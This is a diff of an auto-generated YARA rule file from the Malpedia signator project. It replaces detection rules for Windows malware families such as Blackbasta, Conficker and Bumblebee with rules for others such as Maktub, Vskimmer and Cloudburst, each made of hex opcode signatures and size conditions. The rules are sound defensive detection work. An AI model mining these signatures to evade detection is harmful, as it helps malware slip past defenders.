-		$sequence_42 = { 4533c9 488bd6 ff90c8010000 8bf8 85c0 }
-		$sequence_43 = { 488b4638 488b0e 4c8d442450 4533c9 }
-		$sequence_44 = { 488bf0 c70005000000 85db 7415 4c8b4f38 }
-		$sequence_45 = { 488b0f 48894108 488b0f 488b4108 48894128 488b0f }
-		$sequence_46 = { 83c904 c1e803 448bc9 440fafc8 }
-		$sequence_47 = { 488bcf c744242088130000 e8???????? 488b5738 }
-		$sequence_48 = { 488b0f 488901 488b07 488338ff }
-		$sequence_49 = { 488bce 8bd8 ff92e8010000 488b6c2458 8bc3 488b5c2450 }
-		$sequence_50 = { 488b0f 894130 eb06 488b07 896830 }
-		$sequence_51 = { 488b07 896830 33c0 488b5c2458 }
-		$sequence_52 = { 8d8594faffff 50 68???????? ff15???????? }
-		$sequence_53 = { 013d???????? 8b04b5100b4200 0500080000 3bc8 }
-		$sequence_54 = { 0304b5100b4200 59 5e eb05 }
-		$sequence_55 = { 001cbe 40 0023 d18a0688078a 46 }
-		$sequence_56 = { 030c85100b4200 eb02 8bcb f6412480 }
-		$sequence_57 = { 0304b5100b4200 59 eb02 8bc3 }
-		$sequence_58 = { 0304b5100b4200 59 eb05 b8???????? }
-		$sequence_59 = { 0304b5100b4200 beffff0000 59 59 }
+		$sequence_0 = { ff75c8 8d55ac c645fc01 8d8d78ffffff e8???????? 83c404 8d4d94 }
+		$sequence_1 = { c645fc23 c785f8eaffff02000000 c78548f8ffff3ebfeb85 c7854cf8ffff59dea06d 8b8548f8ffff 8b8d4cf8ffff 898d04f3ffff }
+		$sequence_2 = { 83c408 c645fc15 8b4590 3b4580 0f84e9020000 66660f1f840000000000 8d7020 }
+		$sequence_3 = { 8d45e0 c645fc02 50 e8???????? 8b4de4 83c404 8bf8 }
+		$sequence_4 = { 898538f4ffff 898d3cf4ffff c785d8f6ffffdf03fddd c785dcf6ffffe227d929 8b85d8f6ffff 8b8ddcf6ffff 898540f4ffff }
+		$sequence_5 = { 898de4feffff 8985e0feffff c78558ffffff0d5f1759 c7855cfffffff2314621 8b8558ffffff 8b8d5cffffff 898decfeffff }
+		$sequence_6 = { c78548f8ffff68297235 c7854cf8ffff9d412b44 8b8548f8ffff 8b8d4cf8ffff 898dbcf5ffff 8985b8f5ffff c78548f8ffff5fcb84e8 }
+		$sequence_7 = { 898ddce7ffff c785d8e4ffffdf03fddd c785dce4ffffe227d929 8b85d8e4ffff 8b8ddce4ffff 8985e0e7ffff }
+		$sequence_8 = { e9???????? 807b0c00 0f8485010000 6a02 68???????? ff5004 8b4314 }
+		$sequence_9 = { c7854cf8ffff9d412b44 8b8548f8ffff 8b8d4cf8ffff 0f288d90f4ffff 898dfcfbffff 8d8d90f4ffff 8985f8fbffff }
 
 	condition:
-		7 of them and filesize <5577728
+		7 of them and filesize <1433600
 }
-rule MALPEDIA_Win_Rcs_Auto : FILE
+rule MALPEDIA_Win_Mrac_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "897f58a2-dc22-5f97-b551-4f423c0a43b4"
+		id = "f610a0ea-21d4-5420-9cb8-a0ef900d553a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rcs_auto.yar#L1-L180"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mrac"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mrac_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "6868fef137d3b17f3a70ffb34345814aa00441ab2e72c702d2e7f970155b6f03"
+		logic_hash = "39e0c8c23990eee898b7d74c2127c69decfcb303742ac7378812e728f22f2f91"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155892,40 +162982,32 @@ rule MALPEDIA_Win_Rcs_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 6880000000 6a01 6a00 6a05 }
-		$sequence_1 = { 8944245e 89442462 89442466 8944246a }
-		$sequence_2 = { 85ff 0f84d4000000 57 e8???????? }
-		$sequence_3 = { e8???????? 83c430 6aff 68???????? }
-		$sequence_4 = { ff15???????? 5f 5e 5d 5b 33c0 }
-		$sequence_5 = { 40 68???????? 50 e8???????? 83c40c eb0d }
-		$sequence_6 = { 81f1f3221c6a 41 f7c7073ed86f f8 f9 }
-		$sequence_7 = { 742d 8b7d08 8bbfdc000000 b81c010000 f765fc 8985c0feffff }
-		$sequence_8 = { 81f1ff2fe523 80f973 66f7c5db7a f5 }
-		$sequence_9 = { 83f907 773d ff248d6872f301 4f }
-		$sequence_10 = { 8945f4 eb1c 8b86dc000000 8b9014120000 0fb7781c c1e704 8b3c17 }
-		$sequence_11 = { 83f906 775c ff248d602ef001 c705????????803e0000 }
-		$sequence_12 = { 6a0e 6a00 ff75dc e8???????? 83c40c }
-		$sequence_13 = { 0fb7b810120000 c1e704 8b8d48f4fbff 83c103 0fb78c8870020000 c1e104 8b0c11 }
-		$sequence_14 = { 8b37 81c6c8020000 56 ff75fc ff5704 }
-		$sequence_15 = { 8b75ec 0375f8 8b5e0c 39df 7235 035e08 }
-		$sequence_16 = { 8bbfdc000000 8b7730 897734 ff7518 }
-		$sequence_17 = { 8b55fc 8b45f8 52 50 8b7d08 ff97a0000000 }
+		$sequence_0 = { 8d8c24d40a0000 6a0f 888424ea0a0000 e8???????? 346c 8d8c24d40a0000 6a10 }
+		$sequence_1 = { 8d8c24c8030000 e8???????? 046e 8d8c24c4030000 6a77 888424c8030000 e8???????? }
+		$sequence_2 = { 6a0a 88842475060000 e8???????? 3451 8d8c2464060000 6a0b 88842476060000 }
+		$sequence_3 = { c684240b07000079 c684240c07000079 c684240d0700007b c684240e0700007e c684240f0700007e c684241007000032 c68424110700003d }
+		$sequence_4 = { 8d8c249c000000 6a27 888424a8000000 e8???????? 0454 8d8c249c000000 6a27 }
+		$sequence_5 = { 041d 342f 8885a1fbffff 8b8580fbffff 041e 3471 8885a2fbffff }
+		$sequence_6 = { 8d4c2460 6a4f 88442470 e8???????? 0456 8d4c2460 6a4f }
+		$sequence_7 = { 3462 8845b0 8b459c 0411 346a 8845b1 8b459c }
+		$sequence_8 = { 3474 8d8c2414050000 6a06 88842421050000 e8???????? 346f 8d8c2414050000 }
+		$sequence_9 = { 040f 3472 88842433140000 8b842420140000 0410 3469 }
 
 	condition:
-		7 of them and filesize <11501568
+		7 of them and filesize <745472
 }
-rule MALPEDIA_Win_Pteranodon_Auto : FILE
+rule MALPEDIA_Win_Playwork_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "547312ac-3667-5c97-9fc9-daff4d88f305"
+		id = "18efebc1-2ecf-5ebd-a5ef-f5649e46ba89"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pteranodon_auto.yar#L1-L173"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.playwork_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "5752ea7e57aaa9393a80bd68b7b77d472dc2c58ad73fb0c8d5639c2a359a3d60"
+		logic_hash = "a4351b5bd2d1c3d515bb6fc22faeca44797e61833bdb6ed02e20384700f78521"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155939,38 +163021,32 @@ rule MALPEDIA_Win_Pteranodon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 394614 7320 51 50 8bce }
-		$sequence_1 = { 8d8dc0f8ffff e9???????? 8d8dc0f8ffff e9???????? 8d8dc0f8ffff e9???????? 8d8d08f9ffff }
-		$sequence_2 = { 59 83e03f 59 6bc838 8b04b5e0874300 03c1 }
-		$sequence_3 = { 8d45f0 50 ff15???????? 83f802 7541 8d4df0 e8???????? }
-		$sequence_4 = { 8b04f5b49b0210 5f 5e 5b 5d }
-		$sequence_5 = { ffd0 0fb7f0 8bcf 8b07 8b4008 ffd0 }
-		$sequence_6 = { c7869800000038c90210 c7460401000000 8b4dfc 5f 5e 33cd }
-		$sequence_7 = { 0f8490000000 53 6a00 56 e8???????? }
-		$sequence_8 = { 2bd0 d1fa 8d7902 668b01 83c102 }
-		$sequence_9 = { 8d8d78f8ffff c645fc1e e8???????? 8b851cf9ffff 83f810 7213 40 }
-		$sequence_10 = { 660f28aa802c4300 660f54e5 660f58fe 660f58fc 660f59c8 f20f59d8 }
-		$sequence_11 = { 3bc1 7419 85c0 b001 }
-		$sequence_12 = { 1bc0 23c1 83c008 5d c3 8b04c5849f4200 }
-		$sequence_13 = { c3 8b04c58cbf0210 5d c3 }
-		$sequence_14 = { c645fc0b 8d8df0f8ffff e8???????? 8d8d20f9ffff c645fc0c 03ce }
-		$sequence_15 = { 53 e8???????? 83c404 8945ec 53 8bd8 }
+		$sequence_0 = { a801 7410 e8???????? 6a1a 99 59 }
+		$sequence_1 = { 3350fc 0fb6c9 8bf2 c1ee18 }
+		$sequence_2 = { 68???????? eb48 68???????? eb41 68???????? 8d85e8f7ffff 68???????? }
+		$sequence_3 = { 8b5008 89560c 8b500c 83e904 895610 0f8469010000 }
+		$sequence_4 = { 3dea000000 0f850e020000 8b5dfc 85db }
+		$sequence_5 = { 8bdf c1eb10 3330 83c010 8975dc 0fb6f3 }
+		$sequence_6 = { 8b4014 894618 8d4e1c c1c808 8bd8 8bd0 }
+		$sequence_7 = { 03c8 81f9ffff0000 7d04 56 53 ffd7 56 }
+		$sequence_8 = { 8d8594f7ffff 50 8d85f4fdffff 50 ff15???????? }
+		$sequence_9 = { 0fb6db 3370fc 8bce 8975f8 c1e918 8b3c8d34573f00 8b4df0 }
 
 	condition:
-		7 of them and filesize <499712
+		7 of them and filesize <360448
 }
-rule MALPEDIA_Win_Collectorgoomba_Auto : FILE
+rule MALPEDIA_Win_Cloudburst_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ee60f6dc-0e40-5600-9363-18addef799db"
+		id = "6b8a23fb-a80e-5e29-b2d9-5270c8f2c8ea"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.collectorgoomba_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudburst"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cloudburst_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "b5a8ed8c5e59ef8c9c917b7f2556669b4a98ddcbc5ddbd63af8e98206da01974"
+		logic_hash = "308a5032c7dd39db54565ddb9261de5bf1d032e66820b9bf51050b90dd0967a4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -155984,32 +163060,32 @@ rule MALPEDIA_Win_Collectorgoomba_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb91 8b450c 833801 7e04 834dfcff 837dfc00 7c1c }
-		$sequence_1 = { 8b8084000000 8945fc 837dfc00 756e 8b4508 83787c00 7465 }
-		$sequence_2 = { ff30 ff75f8 ff75fc ff7508 e8???????? 83c410 8b4508 }
-		$sequence_3 = { 83c007 894588 ff758c ff7588 8d8528fdffff 50 8d4dc4 }
-		$sequence_4 = { ffb574ffffff e8???????? 59 59 8845e6 8a45e6 8845e5 }
-		$sequence_5 = { c705????????020a010d c705????????04050f01 833d????????00 740a c705????????04060b08 c705????????0206030b c705????????08050a0e }
-		$sequence_6 = { ff704c 8b4508 ff30 e8???????? 59 59 8945d4 }
-		$sequence_7 = { e8???????? 83c40c ebd1 33c0 40 c1e005 c64405d000 }
-		$sequence_8 = { ff75fc e8???????? 59 59 ebad ff75d0 6a00 }
-		$sequence_9 = { 8bec 83ec10 8b4508 8945f0 8b45f0 8b8018010000 8945f4 }
+		$sequence_0 = { 4533c2 4133e8 45894424f8 41896c24fc 8bc5 }
+		$sequence_1 = { 4883ec08 8b05???????? 41be01000000 4c892c24 85c0 }
+		$sequence_2 = { 4c892c24 85c0 4c8bd9 4c8bd2 410f44c6 4533ed }
+		$sequence_3 = { 488b0d???????? 488d542444 4533c9 4533c0 488bf8 418bdd ff15???????? }
+		$sequence_4 = { 458942f4 458b4c24f8 418bc1 c1e818 }
+		$sequence_5 = { ba00080000 488bcb e8???????? 4c8d442430 }
+		$sequence_6 = { 8b05???????? 41be01000000 4c892c24 85c0 4c8bd9 }
+		$sequence_7 = { 03c2 8bc8 83e00f 3bc2 7407 }
+		$sequence_8 = { 33d6 41891424 4133d3 33fa 4189542404 33df 41897c2408 }
+		$sequence_9 = { 41b904000000 4c8d442440 418d5101 ff15???????? 85c0 74b1 }
 
 	condition:
-		7 of them and filesize <1400832
+		7 of them and filesize <2363392
 }
-rule MALPEDIA_Win_Blackbasta_Auto : FILE
+rule MALPEDIA_Win_Backconfig_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5c8e56ab-6cbd-5deb-8276-9c7c1c51570f"
+		id = "18fd149c-ad9b-5433-8651-ac1dcd92de05"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackbasta_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backconfig"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.backconfig_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "7b0b80b4e818e69a7ef8a8ed63d1384307760adc672033eb9b7389cd6b55895b"
+		logic_hash = "dc29e43fa81d60d5f53e6f4d5e158937c417e8f12650929b20d71338a8cb5ead"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156023,34 +163099,34 @@ rule MALPEDIA_Win_Blackbasta_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff7590 8bcf e8???????? 84c0 751f 384704 7507 }
-		$sequence_1 = { 89b574ffffff 894588 89458c e8???????? 84c0 755d 384304 }
-		$sequence_2 = { 5b 8b4df4 64890d00000000 8d656c 5d c3 8d4d30 }
-		$sequence_3 = { e8???????? 83c404 85c0 0f849d010000 8d5823 83e3e0 8943fc }
-		$sequence_4 = { c745e000000000 c745e40f000000 c645d000 c745fc00000000 ff734c e8???????? 83c404 }
-		$sequence_5 = { b867666666 c645e800 f7ea c1fa05 8bc2 c1e81f 03c2 }
-		$sequence_6 = { 85f6 7462 8b7d28 3bf7 7416 0f1f440000 8bce }
-		$sequence_7 = { 56 e8???????? 83463008 83c410 0fb6c3 81c500020000 8b5c2474 }
-		$sequence_8 = { 8d4dc0 e8???????? 837e1401 741a 837dec01 740d 8d45d8 }
-		$sequence_9 = { 83c410 8bce 50 68???????? e8???????? 8bf0 c78574ffffff00000000 }
+		$sequence_0 = { a1???????? 8b0d???????? 8b15???????? 8985f0feffff a1???????? 6a51 8985fcfeffff }
+		$sequence_1 = { e8???????? 8b4de4 83c40c 6bc930 8975e0 8db1682a4100 }
+		$sequence_2 = { 8a15???????? 8d8569ffffff 6a00 50 898d64ffffff 889568ffffff }
+		$sequence_3 = { c1f805 8d1485c0504100 8b0a 83e61f c1e606 03ce }
+		$sequence_4 = { 8bc3 c1f805 8d3c85c0504100 8bf3 83e61f c1e606 8b07 }
+		$sequence_5 = { 8b0d???????? 8b15???????? 8985f0feffff a1???????? 6a51 8985fcfeffff 898df4feffff }
+		$sequence_6 = { 8d8d2cfdffff 68???????? 51 e8???????? 83c414 68401f0000 }
+		$sequence_7 = { 6a00 50 898d64ffffff 889568ffffff e8???????? }
+		$sequence_8 = { 8bf1 83e61f 8d3c85c0504100 8b07 c1e606 f644300401 7436 }
+		$sequence_9 = { 8bec 8b4508 56 8d34c550224100 833e00 7513 }
 
 	condition:
-		7 of them and filesize <1758208
+		7 of them and filesize <217088
 }
-rule MALPEDIA_Win_Vohuk_Auto : FILE
+rule MALPEDIA_Win_Maktub_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "411a3e2f-1751-5273-acfa-62305bd7fa2f"
+		id = "e3bef5b1-ffc5-599d-9917-312a2370b890"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vohuk"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vohuk_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maktub_auto.yar#L1-L203"
 		license_url = "N/A"
-		logic_hash = "2ed67cd931d1a068f4ca262bb4544ee71becc9ba564d979b0f2e30b12b56f8a3"
+		logic_hash = "e077a57d767e9de98d639131f563ec23078961a903d866aaf47969e99e6c3d2f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -156062,32 +163138,44 @@ rule MALPEDIA_Win_Vohuk_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff35???????? 8d45ba 50 e8???????? 83c408 e9???????? c745b48f00a000 }
-		$sequence_1 = { e8???????? c7451850000000 837d1800 7e20 33c9 8a840df4f9ffff 8d4901 }
-		$sequence_2 = { 50 ff15???????? a3???????? 33f6 b818000000 c745b245007d00 c745b666006300 }
-		$sequence_3 = { a3???????? c745b6b700b400 c745bab100fb00 c745be82009e00 c745c2f800f400 c745c6e400fb00 c745caf900b100 }
-		$sequence_4 = { 8b0d???????? bac1655634 8b75f8 6892000000 e8???????? 8d4d94 51 }
-		$sequence_5 = { 33c9 8d4900 8a840d48e6ffff 8d4901 88840d57ffffff 8b45fc 48 }
-		$sequence_6 = { 85c0 7413 8b4b14 c6431c00 e8???????? 5f 5e }
-		$sequence_7 = { 88840d57ffffff 8b45fc 48 8945fc 837dfc00 7fe2 8d85d8fcffff }
-		$sequence_8 = { 8d45f2 803d????????01 8945dc 8d45ea 7403 }
-		$sequence_9 = { c5fe6f4580 c4e37d4645a031 c5fe7f8080000000 c5fe6f85e0feffff c4e37d468500ffffff31 c5fe7f80a0000000 }
+		$sequence_0 = { ffd0 f7d8 1bc0 f7d8 8be5 }
+		$sequence_1 = { c7450c00000000 50 6a01 56 }
+		$sequence_2 = { ff30 8b86a4000000 ffd0 8b75b4 }
+		$sequence_3 = { ff30 8b83a4000000 ffd0 8b75d4 }
+		$sequence_4 = { ff7508 ffd7 50 ffd6 53 8b5d08 6af4 }
+		$sequence_5 = { ff30 8b8690000000 6a00 ffd0 }
+		$sequence_6 = { ff30 8b4704 6a00 56 ffd0 85c0 }
+		$sequence_7 = { c74508???????? e9???????? 50 ff15???????? 85c0 7f1e a1???????? }
+		$sequence_8 = { ff7004 ff30 e8???????? 8bc7 5f 5e }
+		$sequence_9 = { f8 39dc f5 f7de }
+		$sequence_10 = { f8 57 c64424084b 88442404 }
+		$sequence_11 = { f8 60 0145e0 f8 }
+		$sequence_12 = { f8 50 55 660fa3d5 }
+		$sequence_13 = { 8d4f0c e8???????? 8d4de8 e8???????? }
+		$sequence_14 = { 8d4f04 8b01 ff7508 ff5010 8bd8 }
+		$sequence_15 = { f8 3a07 6868c51b01 8d7f01 }
+		$sequence_16 = { 8d4f04 8b45f4 8b31 2bc2 }
+		$sequence_17 = { 8d4f04 e8???????? 8d5608 8d4f08 }
+		$sequence_18 = { 8d4f08 e8???????? 8d560c 8d4f0c e8???????? }
+		$sequence_19 = { 8d4f0c e8???????? 5f 5e 5d c20400 }
+		$sequence_20 = { f8 12644a00 40 d4b5 }
+		$sequence_21 = { 8d4f10 50 e8???????? 8d45f8 }
 
 	condition:
-		7 of them and filesize <260096
+		7 of them and filesize <3063808
 }
-rule MALPEDIA_Win_Conficker_Auto : FILE
+rule MALPEDIA_Win_Nachocheese_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3a6101de-ccfd-52f9-bf48-95f37d3da01a"
+		id = "eaa2162c-aba5-5a56-92b8-2694c1a819b5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.conficker_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nachocheese"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nachocheese_auto.yar#L1-L162"
 		license_url = "N/A"
-		logic_hash = "a2e85b8534ced36c659844072e09fbb061c134856a103a96122c39a859220309"
+		logic_hash = "65398c7b0a5280da9a71f8939ca7f529421377deec37e9f371d0deba7b01dc67"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156101,32 +163189,38 @@ rule MALPEDIA_Win_Conficker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ebe4 f60638 75a8 b008 d0ef 1400 }
-		$sequence_1 = { df6de8 51 df6df8 51 }
-		$sequence_2 = { 8bec 83ec20 8b0d???????? a1???????? 8365f800 56 }
-		$sequence_3 = { 3c04 7415 42 42 60 b066 f2ae }
-		$sequence_4 = { c3 6a10 68???????? e8???????? 68???????? ff15???????? }
-		$sequence_5 = { 3345f8 33c7 33c6 50 ff15???????? 59 5f }
-		$sequence_6 = { 8b4508 33d2 8910 895004 33c9 894c8808 41 }
-		$sequence_7 = { 8d85f8fbffff ff7510 50 e8???????? }
-		$sequence_8 = { 8954241c 61 c3 ac }
-		$sequence_9 = { 55 8bec 83ec20 8b0d???????? a1???????? }
+		$sequence_0 = { 3d9c000000 7c07 3d9f000000 7e0d 33c0 c3 05d13fffff }
+		$sequence_1 = { 33f6 397508 0f8ec9000000 b8???????? 48 }
+		$sequence_2 = { 2bfa 8d47fd 3901 8901 }
+		$sequence_3 = { 02ca 880c3e 8a5005 32d1 8b4dfc 88143e 8a4c0105 }
+		$sequence_4 = { 7305 83c303 eb1c 81fb00000100 }
+		$sequence_5 = { 33c8 894710 8b4708 33c1 }
+		$sequence_6 = { 7305 83c304 eb0f 81fb00000001 }
+		$sequence_7 = { 7305 83c302 eb29 81fb00010000 }
+		$sequence_8 = { 0f8539ffffff b8???????? 8d5001 8a08 }
+		$sequence_9 = { 3d2cc00000 7f18 3d2bc00000 7d1b 3d9c000000 }
+		$sequence_10 = { 763a b801011000 f7e6 8bc6 2bc2 d1e8 }
+		$sequence_11 = { 0f84bf000000 6803010000 8895f0fcffff 8d95f1fcffff 6a00 52 e8???????? }
+		$sequence_12 = { 50 e8???????? 8d8f0e010000 8bc1 83c430 8d5001 }
+		$sequence_13 = { 02ca 8b55f4 880c3e 0fb6540205 }
+		$sequence_14 = { 50 e8???????? b9???????? 83c424 }
+		$sequence_15 = { 50 6a02 51 ff15???????? 83f801 }
 
 	condition:
-		7 of them and filesize <335872
+		7 of them and filesize <1064960
 }
-rule MALPEDIA_Win_Bumblebee_Auto : FILE
+rule MALPEDIA_Win_Starsypound_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2d631f7c-7434-5c27-9009-44b4e59637b5"
+		id = "70e37162-3a73-596a-8d7d-42b9d85b78f7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bumblebee_auto.yar#L1-L109"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.starsypound_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "5441d9d4140ebd43dfbd5141b1d6fd9472ec1ff4702b3388ec7d6ec403a89c52"
+		logic_hash = "abf4ae91c4287e1227ba24bd55f61dc3c1250c1b8b21f760166157e29806933f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156140,30 +163234,32 @@ rule MALPEDIA_Win_Bumblebee_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb7570e 6623d1 740d 0fbe470d b90d000000 2bc8 }
-		$sequence_1 = { 0f44c1 833c1800 7475 837c180400 746e 8b1418 488b05???????? }
-		$sequence_2 = { 0f88cc000000 4863533c 488b05???????? 4803d6 4885c0 0f84b5000000 488d4c2430 }
-		$sequence_3 = { 0f880c010000 488b7580 4885f6 0f84ff000000 488b05???????? 4885c0 0f84ef000000 }
-		$sequence_4 = { 0f8895000000 8b7b28 b8c0000000 4803fe ba64860000 66395304 8d4810 }
-		$sequence_5 = { 0fbec0 8d59e8 8d1c58 ffc2 }
-		$sequence_6 = { 0f57c0 c744242800000008 4c8d45d0 488975d8 8d4640 488975e0 }
-		$sequence_7 = { 0f8840010000 488b05???????? 4885c0 0f8430010000 488b542448 488d4c2438 48894c2420 }
+		$sequence_0 = { ff15???????? 8dbc2458010000 83c9ff 33c0 }
+		$sequence_1 = { 68???????? 52 e8???????? 83c420 85c0 7444 8b5304 }
+		$sequence_2 = { 53 56 57 6a18 e8???????? 8bb42424040000 }
+		$sequence_3 = { 8d4c2428 68???????? 51 e8???????? 56 8d542434 }
+		$sequence_4 = { 8bfd 8d44240c f3a5 8b5500 8b3d???????? 6a00 }
+		$sequence_5 = { 885c3438 c744241804010000 ff15???????? 8dbc2458010000 83c9ff 33c0 }
+		$sequence_6 = { 50 8d4c2424 56 51 52 }
+		$sequence_7 = { f3a4 885c0444 bf???????? 83c9ff 33c0 33f6 }
+		$sequence_8 = { 83c40c 85c0 7e2b eb08 }
+		$sequence_9 = { e8???????? 68c0270900 ff15???????? e8???????? 5f }
 
 	condition:
-		7 of them and filesize <4825088
+		7 of them and filesize <40960
 }
-rule MALPEDIA_Win_Sagerunex_Auto : FILE
+rule MALPEDIA_Win_Vskimmer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f1b502b3-b120-59e0-983f-cafb93914bcc"
+		id = "fc191c93-ce90-5418-a28d-2b3fa9eb623e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sagerunex"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sagerunex_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vskimmer_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "08cdcbbbd6ca868eddb1becc5a51582d041936061352010bb8c3c5ac48e633a5"
+		logic_hash = "81aef2465b53cd0c0e1b48561687f8c8208fd8d87041be709dd2217d8a17703f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156177,69 +163273,71 @@ rule MALPEDIA_Win_Sagerunex_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4c8bb424d8010000 c744245001000000 4c896c2458 4c896c2460 4885c9 742c 4a8d04fd00000000 }
-		$sequence_1 = { 72d1 498bd4 483bd7 488d4de7 480f42fa 488bd7 e8???????? }
-		$sequence_2 = { c74324a44ffabe 488bcb 89b3e8000000 c70340000000 e8???????? 488d442420 c60000 }
-		$sequence_3 = { 498bcc e8???????? 85c0 7849 488d45b0 488d55f0 498bcf }
-		$sequence_4 = { e8???????? e8???????? ffc7 448bc0 b84fecc44e 41f7e8 c1fa03 }
-		$sequence_5 = { 4d894838 4c8b5340 458bca 4983d300 49c1ea20 418bc9 4d0fafcf }
-		$sequence_6 = { 894260 33d2 e8???????? 488d442470 488d15d0230300 }
-		$sequence_7 = { 83f803 7cc5 eb04 897c2450 443bfe 752a 448b7c2444 }
-		$sequence_8 = { 498bcf c745df02000000 c745fb01000000 c745e301000000 ff15???????? 85c0 7507 }
-		$sequence_9 = { 4403c0 418bc6 4503c2 c1c007 c1ca0b 33d0 418bc6 }
+		$sequence_0 = { 3bc3 7402 8bf0 8bd6 f7da 8a07 }
